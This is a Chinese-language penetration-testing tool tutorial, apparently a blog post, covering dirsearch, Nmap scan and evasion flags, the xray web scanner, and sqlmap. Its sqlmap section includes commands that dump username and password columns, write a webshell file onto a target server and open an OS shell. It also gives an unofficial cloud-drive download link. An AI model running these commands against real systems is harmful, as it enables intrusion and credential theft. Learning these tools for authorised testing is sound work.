前言
本篇文章总结了很好用的渗透测试工具,会不断更新!!!
供大家学习使用!!!
正文
01 信息收集
1.1 dirsearch
1.1.1介绍:
类似御剑扫描的一款网站目录扫描器,由python编写,功能强大。
1.1.2下载地址1:
dirsearch下载地址
1.1.3下载地址2:
1.1.4Kali使用:
如果kali里没有自带安装,直接输入dirsearch,会自动提示你是否安装,输入“Y”,然后就会自动安装好,就可以正常使用了。
**注意:**使用dirsearch需要python3.8以上的版本,kali最新版本自带python最新版本,可不用在装python,方便一点!!!!!
1.1.5开始使用:
1.2 Nmap
1.2.1 介绍:
介绍了端口扫描工具Nmap的安装及使用教程,此处介绍Kali中Nmap的使用,Windows上的后续补充给大家!!
1.2.2 下载地址1:
Windows上下载安装下载地址;
1.2.3 Kali使用:
Kali直接输入nmap便可以使用;
1.2.4 使用教程
** 常用参数**
-A :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式.
--exclude : 排除指定的地址 例: nmap 192.168.1.0/24
--exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描,
--excludefile : 排除指定的地址列表 例: nmap 192.168.1.0/24 --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描,
-iL : 扫描一个列表文件 例 nmap -iL list.txt
-sP : Ping扫描,效率高,返回信息少. 例: nmap -sP 192.168.1.110
-P0(Pn) :无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用
-PS :TCP SYN Ping扫描
-PA :TCP ACK Ping扫描
PR : ARP Ping扫描
-n : 禁止DNS反向解析
-T : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的
-p : 指定端口扫描
-F : 快速扫描
-f : 报文分段
-D : ip地址欺骗 例 nmap -D RND:5 192.168.1.110 RND:为生成随机ip地址
-sS : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽.
-sT : TCP连接扫描
-sU : UDP扫描,扫描非常慢,容易被忽视
-sN,-sF : 隐蔽扫描
-sI : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机)
-p- : 扫描所有端口 1-65535
-top-ports : 只扫描开发概率最高的端口 后面跟上数值 例 nmap -top-ports 100 , 就是扫描概率最高的前100个端口
<版本探测相关>:
-sV : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本.
-sV --allports : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口)
--version-intersity : 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7
--version-ligth : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2
--version-all :扫描强度,重量级扫描(9) ,等同于--version-intersity 9
--version-trace : 获取详细的版本信息
-sR : 判断开放端口是否为RPC端口, 如果是返回程序和版本号.
--resaon : 显示主机存活原因
常用参数
1.Nmap的纯扫描,默认情况下,nmap会发出一个arp ping扫描,且扫描目标tcp端口,范围为1-10000。
nmap 127.0.0.1
2.NMAP普通扫描增加输出冗长(非常详细)
nmap -vv 127.0.0.1
3.端口扫描
nmap 127.0.0.1 -p 80 (指定定单个端口)
nmap 127.0.0.1 -p 1-100 (多个端口)
nmap 127.0.0.1 -p- (所有端口)
nmap -sP 10.1.112.89 (Ping扫描)
nmap -sS 127.0.0.1 -p 80 (SYN半连接扫描)
nmap -sT 127.0.0.1 -p 80 (TCP全连接扫描)
nmap -sU 127.0.0.1 (UDP扫描)
nmap -sF 127.0.0.1 (FIN,目标可能有IDS/IPS系统的存在,防火墙可能过滤掉SYN数据包,发送一个FIN标志的数据包不需要完成TCP的握手。)
4.路由追踪
nmap --traceroute 127.0.0.1
5.nmap设置扫描一个网段下的ip
nmap -sP 127.0.0.1 /24
6.扫描目标主机版本(不是很准确)
nmap -O 127.0.0.1 -p 80
7.扫描目标服务版本
nmap -O -sV 127.0.0.1 -p 80
8.全面扫描(包含了1-10000端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测)
nmap -A 127.0.0.1 -p-
9.保存结果
nmap -A 127.0.0.1 -p- -oN nmap1
10.nmap命令混合式扫描
nmap -vv -p1-100 -o 127.0.0.1
11.扫描多个目标
nmap 127.0.0.1 127.0.0.2
nmap 127.0.0.1-100 (扫描IP地址为127.0.0.1-127.0.0.100内的所有主机)
nmap -iL target.txt (namp在同一目录下,扫描这个txt内的所有主机)注:使用时请将127.0.0.1更换为目标IP地址
02 嗅探欺骗
03 漏洞扫描
3.1 Xray使用教程
3.1.1 xray扫描器介绍网络安全交流q:830709780
xray是一种功能强大的扫描工具。xray 社区版是长亭科技推出的免费白帽子工具平台,目前社区有 xray 漏洞扫描器和 Radium 爬虫工具,由多名经验丰富的安全开发者和数万名社区贡献者共同打造而成。
3.1.2 xray下载地址
链接:https://pan.baidu.com/s/1Y_hyIxIEqyo2ucdx7lWtrQ
提取码:1lzl
3.1.3 xray基本使用
下载对应系统的版本后,解压缩zip文件,Linux / Mac用户在终端(终端)运行,Windows用户请在Powershell或其他高级Shell中运行,在CMD中运行可能体验不佳。
1.使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描:
xray webscan --basic-crawler http://example.com --html-output xxx.html
2.使用 HTTP 代理进行被动扫描:
设置浏览器 http 代理为http://127.0.0.1:5555,然后使用浏览器访问网页,就可以自动分析代理流量并扫描。
xray webscan --listen 127.0.0.1:5555 --html-output xxx.html
3.快速测试单个 url, 无爬虫:
xray webscan --url http://example.com/?a=b --html-output single-url.html
4.手动指定本次运行的插件:
默认情况下,将会启用所有内置插件,可以使用下列命令指定本次扫描启用的插件。
xray webscan --plugins cmd_injection,sqldet --url http://example.comxray webscan --plugins cmd_injection,sqldet --listen 127.0.0.1:7777
5.生成 ca 证书:
.\xray_windows_amd64.exe genca
04 漏洞利用
4.1 sqlmap使用教程
4.1.1 介绍
SQLMap是一个开放源码的测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。
具体功能
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
5、可执行情况
6、当前数据库用户名称和拥有的权限
7、发现WEB虚拟目录
8、上传***getshell
9、绕过防火墙
sqlmap支持的注入模式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。(适合用于通过循环直接输出联合查询结果,否则只会显示第一项结果)
5、堆查询注入,可以同时执行多条语句的执行时的注入。
4.1.2 安装下载
1. kali自带sqlmap
可直接使用!
2. Windows下载地址:
sqlmap
4.1.3 常用请求参数
1. get方法
对于get的请求,比较简单,直接指定目标
-d: 直接连接数据库 (-d "mysql://user:passward@地址:端口/数据库名称")
-u:指定url (?id=1)
-m:将多个url保存成文件,传给sqlmap (sqlmap -m list.txt)
-r:将http头信息保存到文件,交给sqlmap
-g:google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义
-p :只想检查的变量
-f :指纹
--users:数据库帐号
--banner:数据库信息--dbs:有哪些数据库
-a:all
get请求应该是大家所熟悉的,sqlmap - u直接加URL,参数就可以了。
2. POST方法
下面介绍几种对于post请求的sqlmap注入。
a.使用http请求文件
可以用burpsuite抓包并复制到txt文件
sqlmap -r 1 .txt
b.使用burpsuite log文件 (勾选上options中的Misc中的proxy)
sqlmap - l log.txt
c.HTTPS
sqlmap同时也支持https的sql注入,只需加入参数-force-ssl告诉sqlmap这是https服务即可。
如
sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl (默认不是443,在后加其端口)
4.1.4 常用方法
1. 检测注入
a.基本格式
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
b. cookie注入
当程序有防get注入的时候,可以使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
c. 从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
2. 注入成功后
获取数据库基本信息
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbs
查询有哪些数据库
sqlmap -u URL --current-db --batch
获取当前数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” -D test -T admin –columns
查询test数据库中admin表有哪些字段
```bash
sqlmap -u “http://www.vuln.cn/post.php?id=1” -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
3. 其他命令参考下面
a. 从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
b. 读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
05 代码审计
06 密码攻击
07 常用字典
08 webshell
09 其他
总结
本篇文章总结了很好用的渗透测试工具,会不断更新!!!
830709780qq群
更多安全分享,请关注【安全info】微信公众号!